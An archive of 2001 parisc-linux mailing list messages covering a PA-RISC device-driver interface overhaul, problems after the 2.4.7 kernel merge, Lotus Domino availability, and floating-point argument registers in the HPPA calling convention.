

From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: robert.holmberg@idobath.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux on R947X?
Date: Wed, 1 Aug 2001 13:04:56 +0300
Lines: 12
Approved: news@gmane.org
Message-ID: <OF2C1CB198.AE5E0FF8-ONC2256A9B.00370379@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620348 22913 80.91.229.3 (22 Nov 2014 01:39:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 04:12:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from seal.surfnet.fi (mail.surfnet.fi [194.137.58.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7A50482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 04:11:55 -0600 (MDT)
Original-Received: from IDOEKE3 (eke-breakwater.surfnet.fi [194.215.74.2])
	by seal.surfnet.fi (8.11.0/8.11.0) with ESMTP id f71ABfv27102
	for <parisc-linux@lists.parisc-linux.org>; Wed, 1 Aug 2001 13:11:42 +0300
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on NOTESSRV01/IDO(Release 5.0.5 |September 22, 2000) at
 01.08.2001 13:04:48
Xref: news.gmane.org gmane.linux.ports.parisc:11766

Any hope of getting the Lotus Domino webserver up and running under
PARISC-LINUX on a R947X? The server is going to be replaced soon, and we
have played with the thought of using it as a local test environment for
deployment of Domino web applications.

Please CC to me since I have not subscribed to the list.

Robert Holmberg.





From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A general cleanup & overhaul of native device handling
Date: Wed, 1 Aug 2001 16:59:03 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <20010801165903.B4199@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620348 22922 80.91.229.3 (22 Nov 2014 01:39:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 09:59:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4142E482A
	for <parisc-linux@parisc-linux.org>; Wed,  1 Aug 2001 09:59:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15RyOl-0004sX-00
	for parisc-linux@parisc-linux.org; Wed, 01 Aug 2001 16:59:03 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11767

I've been unhappy with the way we handle native devices for a while.
Grant pushed me to do something about it instead of just whining, and
I was inspired after seeing the hotplug talk at OLS.  Yes, there are PA
machines out there whch support Hotplug... Superdome certainly does and
there may be other machines which do.

So here's what I've done:

 * `hpa' is now `unsigned long' everywhere in the core code.  Some drivers
   cast it to a struct pointer, and while I disapprove of this, that's
   really up to the individual maintainers.
 * we now have a `struct parisc_device_id'.  This parallels the similarly
   named structures for pci, isapnp & usb.  The ids I decided were useful
   are: hw_type, hversion, hversion_rev & sversion.  sversion_rev & opt are
   not included.  If anyone feels the need for them, ask nicely.
 * hp_device has become parisc_device.  The individual hversion,
   sversion, etc elements have become an embedded struct parisc_device_id.
   I've added parent, sibling, child pointers for future use in an iotree.
 * pa_iodc_driver is replaced by parisc_driver.  This parallels
   pci_driver.  It has a pointer to a table of parisc_device_id.
   The `callback' element has been renamed to `probe' and now takes only
   the struct parisc_device which is being probed for.
 * We no longer have a bitfield of things to check; instead we use
   HVERSION_ANY_ID (and similarly named values) to indicate a `don't care'.

The complete patch is something over 110k, so I decline to post it to the
list.  You can find it at ftp://puffin.external.hp.com/pub/parisc/src/parisc_device.diff .  I'll give a sample though, and I've decided to pick on... harmony.
I'm only going to post the interesting bits; there's more to it in the full
diff.

-/* This is the PDC signature to load up the driver. */
-static struct pa_iodc_driver harmony_drivers_for[] = 
-{
-       {HPHW_FIO, 0x01B, 0, 0x0007B, 0x0, 0x0, 
-               DRIVER_CHECK_HWTYPE + DRIVER_CHECK_SVERSION,
-               "Lasi Harmony", "Harmony", harmony_driver_callback},
-       {0, }
+static struct parisc_device_id harmony_tbl[] = {
+       { HPHW_FIO, HVERSION_REV_ANY_ID, 0x01B, 0x0007B },
+       { 0, }
 };
 
+MODULE_DEVICE_TABLE(parisc, harmony_tbl);
+
+static struct parisc_driver harmony_driver = {
+       name:           "Lasi Harmony",
+       id_table:       harmony_tbl,
+       probe:          harmony_driver_callback,
+};
 
 static int __init init_harmony(void)
 {
-       pdc_register_driver(harmony_drivers_for);
-       return 0;
+       return register_parisc_driver(&harmony_driver);
 }

As you can see, the new form is quite compact and readable.

At some point, I'm going to try booting a machine with this patch applied
and see what happens.  I expect it to explode messily right now, tbh, but
at least it compiles.  I'm interested in criticism of this architecture.
After I get this hunk of work done, I'll move on to an iotree, and maybe
then to actually doing hotplug for native devices... that isn't high on
my priority list and I'd be happy to leave it to somebody else :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.7 merge
Date: Wed, 1 Aug 2001 18:21:13 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20010801182113.C4199@parcelfarce.linux.theplanet.co.uk>
References: <20010729211608.B5493@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620348 22936 80.91.229.3 (22 Nov 2014 01:39:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 11:21:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF6EB482A
	for <parisc-linux@parisc-linux.org>; Wed,  1 Aug 2001 11:21:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15RzgH-0007HA-00; Wed, 01 Aug 2001 18:21:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010729211608.B5493@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Sun, Jul 29, 2001 at 09:16:08PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11768

On Sun, Jul 29, 2001 at 09:16:08PM +0100, Matthew Wilcox wrote:
> so I don't anticipate any major problems.

There were several minor unanticipated problems with the 2.4.7 merge, but
I think we're good now; it boots fine on a 712 I have here.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.7 merge
Date: Wed, 1 Aug 2001 18:55:17 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010801185459.D4199@parcelfarce.linux.theplanet.co.uk>
References: <20010729211608.B5493@parcelfarce.linux.theplanet.co.uk> <20010801182113.C4199@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620349 22947 80.91.229.3 (22 Nov 2014 01:39:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 11:55:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87DD3482A
	for <parisc-linux@parisc-linux.org>; Wed,  1 Aug 2001 11:55:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15S0DF-0007uU-00; Wed, 01 Aug 2001 18:55:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010801182113.C4199@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Aug 01, 2001 at 06:21:13PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11769

On Wed, Aug 01, 2001 at 06:21:13PM +0100, Matthew Wilcox wrote:
> On Sun, Jul 29, 2001 at 09:16:08PM +0100, Matthew Wilcox wrote:
> > so I don't anticipate any major problems.
> 
> There were several minor unanticipated problems with the 2.4.7 merge, but
> I think we're good now; it boots fine on a 712 I have here.

I spoke too soon; on tulip-based systems it dies with an Unaligned
data reference in tulip_up.  Unfortunately I have to leave my keyboard
for the moment; but I hope someone magaes to find this problem before
I return.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on R947X?
Date: Wed, 1 Aug 2001 23:19:17 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20010801231917.E4199@parcelfarce.linux.theplanet.co.uk>
References: <OF2C1CB198.AE5E0FF8-ONC2256A9B.00370379@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620349 22960 80.91.229.3 (22 Nov 2014 01:39:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: robert.holmberg@idobath.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 16:19:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C85BB482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 16:19:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15S4Kj-0006RH-00; Wed, 01 Aug 2001 23:19:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OF2C1CB198.AE5E0FF8-ONC2256A9B.00370379@LocalDomain>; from robert.holmberg@idobath.com on Wed, Aug 01, 2001 at 01:04:56PM +0300
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11770

On Wed, Aug 01, 2001 at 01:04:56PM +0300, robert.holmberg@idobath.com wrote:
> Any hope of getting the Lotus Domino webserver up and running under
> PARISC-LINUX on a R947X? The server is going to be replaced soon, and we
> have played with the thought of using it as a local test environment for
> deployment of Domino web applications.

According to the Domino website
(http://www.lotus.com/home.nsf/welcome/domino), they only support
Linux on x86.  They do have a version for HPUX so if we were to get
the HPUX emulation working again, there's a possibility it might work.
Nobody has much interest in the HPUX emulation right now, so I wouldn't
count on it happening any time soon.

On the other hand if you happen to be a big corporate customer and could
persuade them to port Domino to a different platform... :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] libqthreads and hppa-linux
Date: Wed, 01 Aug 2001 22:04:34 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20010802040435.818241872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620349 22968 80.91.229.3 (22 Nov 2014 01:39:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:09 +0000 (UTC)
Cc: LaMont Jones <lamont@hp.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 22:04:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FF34482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 22:04:37 -0600 (MDT)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel6.hp.com (Postfix) with ESMTP id 795751F5EF
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 00:04:36 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 818241872C; Wed,  1 Aug 2001 22:04:35 -0600 (MDT)
Content-ID: <26784.996725074.1@cranston.fc.hp.com>
Original-Sender: lamont@hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:11771

I started to play with getting the hppa assembly code in guile-core to work
on pa-linux, but ran into challenges with %farg[0-3], which aren't defined
by the assembler...

I'm about to upload a source NMU of guile-core, which has qt/md/hppa*-linux.?
in it.  If someone wanted to take that the rest of the way, I'd be happy to
upload it...

lamont




From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libqthreads and hppa-linux
Date: Thu, 2 Aug 2001 14:09:22 +0930
Lines: 10
Approved: news@gmane.org
Message-ID: <20010802140922.M5233@bubble.sa.bigpond.net.au>
References: <20010802040435.818241872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620350 23169 80.91.229.3 (22 Nov 2014 01:39:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 22:39:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin9.bigpond.com (juicer34.bigpond.com [139.134.6.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id D79B8482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 22:39:35 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.78]) by
          mailin9.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GHFBVO00.GUH for <parisc-linux@lists.parisc-linux.org>; Thu,
          2 Aug 2001 14:45:24 +1000 
Original-Received: from 144.136.192.58 ([144.136.192.58]) by bwmam04.mailsvc.email.bigpond.com(MailRouter V2.9g 8329/3329543); 02 Aug 2001 14:45:20
Original-Received: (qmail 26539 invoked by uid 179); 2 Aug 2001 04:39:22 -0000
Mail-Followup-To: LaMont Jones <lamont@hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010802040435.818241872C@security.hp.com>; from lamont@hp.com on Wed, Aug 01, 2001 at 10:04:34PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11772

On Wed, Aug 01, 2001 at 10:04:34PM -0600, LaMont Jones wrote:
> I started to play with getting the hppa assembly code in guile-core to work
> on pa-linux, but ran into challenges with %farg[0-3], which aren't defined
> by the assembler...

So fix the assembler!  gas/config/tc-hppa.c:pre_defined_registers





From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libqthreads and hppa-linux
Date: Wed, 01 Aug 2001 22:44:00 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20010802044401.89CE11872C@security.hp.com>
References: <20010802140922.M5233@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620350 23244 80.91.229.3 (22 Nov 2014 01:39:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:10 +0000 (UTC)
Cc: LaMont Jones <lamont@hp.com>,
	parisc-linux@lists.parisc-linux.org, lamont@hp.com
To: Alan Modra <amodra@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 22:44:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE6A7482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 22:44:02 -0600 (MDT)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 6E5151F553; Thu,  2 Aug 2001 00:44:02 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 89CE11872C; Wed,  1 Aug 2001 22:44:01 -0600 (MDT)
In-reply-to: Your message of "Thu, 02 Aug 2001 14:09:22 +0930."
             <20010802140922.M5233@bubble.sa.bigpond.net.au> 
Content-ID: <26850.996727439.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11773

> On Wed, Aug 01, 2001 at 10:04:34PM -0600, LaMont Jones wrote:
> > I started to play with getting the hppa assembly code in guile-core to work
> > on pa-linux, but ran into challenges with %farg[0-3], which aren't defined
> > by the assembler...
> So fix the assembler!  gas/config/tc-hppa.c:pre_defined_registers

Dunno which regs they are, and don't have a current runtime arch doc at
home.

How close is the calling convention between hp-ux and pa-linux?

lamont




From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libqthreads and hppa-linux
Date: Wed, 01 Aug 2001 22:49:45 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20010802044946.6B4FC1872C@security.hp.com>
References: <20010802044401.89CE11872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620350 23255 80.91.229.3 (22 Nov 2014 01:39:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:10 +0000 (UTC)
Cc: Alan Modra <amodra@bigpond.net.au>,
	parisc-linux@lists.parisc-linux.org, lamont@hp.com
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 22:49:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04388482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 22:49:48 -0600 (MDT)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 4C46D84B; Thu,  2 Aug 2001 00:49:47 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 6B4FC1872C; Wed,  1 Aug 2001 22:49:46 -0600 (MDT)
In-reply-to: Your message of "Wed, 01 Aug 2001 22:44:00 MDT."
             <20010802044401.89CE11872C@security.hp.com> 
Content-ID: <26872.996727785.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11774

> > So fix the assembler!  gas/config/tc-hppa.c:pre_defined_registers
> Dunno which regs they are, and don't have a current runtime arch doc at
> home.

This code seems to think that four args are passed in regs, but the code
that cc generates appears to only pass two doubles in regs.  Likewise,
are the FR's numbered the same?  (The names were rather funky on hp-ux,
due to legacy issues...)

lamont




From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libqthreads and hppa-linux
Date: Thu, 2 Aug 2001 14:30:08 +0930
Lines: 19
Approved: news@gmane.org
Message-ID: <20010802143008.N5233@bubble.sa.bigpond.net.au>
References: <20010802140922.M5233@bubble.sa.bigpond.net.au> <20010802044401.89CE11872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620351 23262 80.91.229.3 (22 Nov 2014 01:39:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 23:00:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin9.bigpond.com (juicer34.bigpond.com [139.134.6.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id E85E6482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 23:00:17 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.84]) by
          mailin9.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GHFCUA00.8GE for <parisc-linux@lists.parisc-linux.org>; Thu,
          2 Aug 2001 15:06:10 +1000 
Original-Received: from 144.136.192.58 ([144.136.192.58]) by bwmam06.mailsvc.email.bigpond.com(MailRouter V2.9g 8341/16820971); 02 Aug 2001 15:06:05
Original-Received: (qmail 26614 invoked by uid 179); 2 Aug 2001 05:00:08 -0000
Mail-Followup-To: LaMont Jones <lamont@hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010802044401.89CE11872C@security.hp.com>; from lamont@hp.com on Wed, Aug 01, 2001 at 10:44:00PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11775

On Wed, Aug 01, 2001 at 10:44:00PM -0600, LaMont Jones wrote:
> > On Wed, Aug 01, 2001 at 10:04:34PM -0600, LaMont Jones wrote:
> > > I started to play with getting the hppa assembly code in guile-core to work
> > > on pa-linux, but ran into challenges with %farg[0-3], which aren't defined
> > > by the assembler...
> > So fix the assembler!  gas/config/tc-hppa.c:pre_defined_registers
> 
> Dunno which regs they are, and don't have a current runtime arch doc at
> home.
> 
> How close is the calling convention between hp-ux and pa-linux?

Practically identical.  farg0..3 is fr4..7 from memory, and I think they
are in that order.  Test it out by writing a little C code, and
compiling with -S.





From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libqthreads and hppa-linux
Date: Thu, 2 Aug 2001 15:14:15 +0930
Lines: 37
Approved: news@gmane.org
Message-ID: <20010802151415.O5233@bubble.sa.bigpond.net.au>
References: <20010802044401.89CE11872C@security.hp.com> <20010802044946.6B4FC1872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620351 23266 80.91.229.3 (22 Nov 2014 01:39:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 23:44:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin8.bigpond.com (juicer39.bigpond.com [139.134.6.96])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5B72482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 23:44:27 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.81]) by
          mailin8.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GHFEVU00.A1I for <parisc-linux@lists.parisc-linux.org>; Thu,
          2 Aug 2001 15:50:18 +1000 
Original-Received: from 144.136.192.58 ([144.136.192.58]) by bwmam05.mailsvc.email.bigpond.com(MailRouter V2.9g 8335/14989917); 02 Aug 2001 15:50:12
Original-Received: (qmail 26686 invoked by uid 179); 2 Aug 2001 05:44:15 -0000
Mail-Followup-To: LaMont Jones <lamont@hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010802044946.6B4FC1872C@security.hp.com>; from lamont@hp.com on Wed, Aug 01, 2001 at 10:49:45PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11776

On Wed, Aug 01, 2001 at 10:49:45PM -0600, LaMont Jones wrote:
> > > So fix the assembler!  gas/config/tc-hppa.c:pre_defined_registers
> > Dunno which regs they are, and don't have a current runtime arch doc at
> > home.
> 
> This code seems to think that four args are passed in regs, but the code
> that cc generates appears to only pass two doubles in regs.  Likewise,
> are the FR's numbered the same?  (The names were rather funky on hp-ux,
> due to legacy issues...)

Hmm, I wonder if you've found a gcc bug?

#if 1
#define FP float
#else
#define FP double
#endif
extern FP f1 (FP a);
extern FP f2 (FP a, FP b);
extern FP f3 (FP a, FP b, FP c);
extern FP f4 (FP a, FP b, FP c, FP d);

int main (void)
{
  return f1 (1.) + f2 (1., 2.) + f3 (1., 2., 3.) + f4 (1., 2., 3., 4.);
}

With FP as float, I get fr4L, fr5L, fr6L, fr7L used in that order for
floating point args.  With FP as double, I get fr5, fr7, stack args.
Weird, but then the pa ABI _is_ weird.  I think you do need to check
that ABI document.

Alan





From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: robert.holmberg@idobath.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on R947X?
Date: Thu, 2 Aug 2001 08:49:53 +0300
Lines: 35
Approved: news@gmane.org
Message-ID: <OF037B89B3.C54112C3-ONC2256A9C.001F38E3@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620351 23268 80.91.229.3 (22 Nov 2014 01:39:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
